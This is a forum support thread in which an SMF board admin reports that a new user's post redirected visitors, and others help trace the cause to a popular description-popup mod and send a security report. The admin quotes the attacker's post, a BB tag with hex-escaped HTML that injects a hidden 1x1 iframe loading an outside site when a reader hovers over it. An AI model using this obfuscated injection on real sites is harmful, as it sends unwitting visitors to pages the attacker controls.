Redirect?

[chinaren]

Today I clicked on a post in my SMF 2RC3 and I was redirected to another site!  Luckily it was only YouTube, but it could have been somewhere more malicious.


The code they used is:


[font='dejavu sans mono', monaco, 'lucida console', 'courier new', monospace][/font]

Code Select Expand

[desc=\x3C\x69frame\x20src\x3D\x22http\x3A\x2F\x2Fsir.haxalot.com\x2Ftrolld.html\x22\x20width\x3D\x221\x22\x20height\x3D\x221\x22\x3E\x3C\x2F\x69frame\x3E]We're no strangers to love
You know the rules and so do I
I just wanna tell you how I'm feeling
Gotta make you understand
[/desc][font='dejavu sans mono', monaco, 'lucida console', 'courier new', monospace][/font]


This was a new user with limited privileges!  Is there a setting I can change to make sure this doesn't happen again?   

[xenovanis]

This was on clicking the link to open the post?

[chinaren]

No! Just by opening the post! 

[CapadY]

You cn use post moderation.

Unaproved post will at least not be published and spammers don't like it when nobody can view their messages.

[chinaren]

You cn use post moderation.

Unaproved post will at least not be published and spammers don't like it when nobody can view their messages.

Thanks Capy, but that's not really a good option for my board.  This is the first time this has happened in two years +, and moderating every first post is too high an overhead considering the ratio.  Plus that doesn't solve the security risk. 

[xenovanis]

Okay, just to make things clear. From the messageindex, you clicked to open the topic or message.

Did the the topic or message actually open or were you redirected instantaly, without the post being opened?

What mods have you installed? I'm not familiar with the bbc-tag [desc].

[chinaren]

Okay, just to make things clear. From the messageindex, you clicked to open the topic or message.

Did the the topic or message actually open or were you redirected instantaly, without the post being opened?

What mods have you installed? I'm not familiar with the bbc-tag [desc].

Ah, good catch. Yesterday I was in a bit of a rush and didn't really look at this properly.  The desc BB tag allows for a little popup on mouseover.  The mod can be found on SMF here.


It seems that, whilst I didn't click anything, I did mouseover, and it's that that activates the popup.  I'll make a note in the Word Description BB tag popup mod thread about this.  


Still, this mod is really popular on my forum, and it would be a shame to have to remove it.  Plus surely this 'code' could be used in other ways, so may be worth looking at how it happens. 

[xenovanis]

Well, if you think this mod is having securityissues, it's best to report the mod.

You can
A) Post a reply in the support topic for the mod, to get the author's attention, or
B) File a security report on this mod

[chinaren]

Okay, I just went over to the mod support thread, and someone else has pointed this out already, and the author's aware.


I'll do the security mod report thing tho. 

[xenovanis]

Okay, good luck 

I'll mark this solved for now, as it's not an issue with a default feature of SMF. However, feel free to keep us updated. 

[chinaren]

K, will do. Thanks Xeny.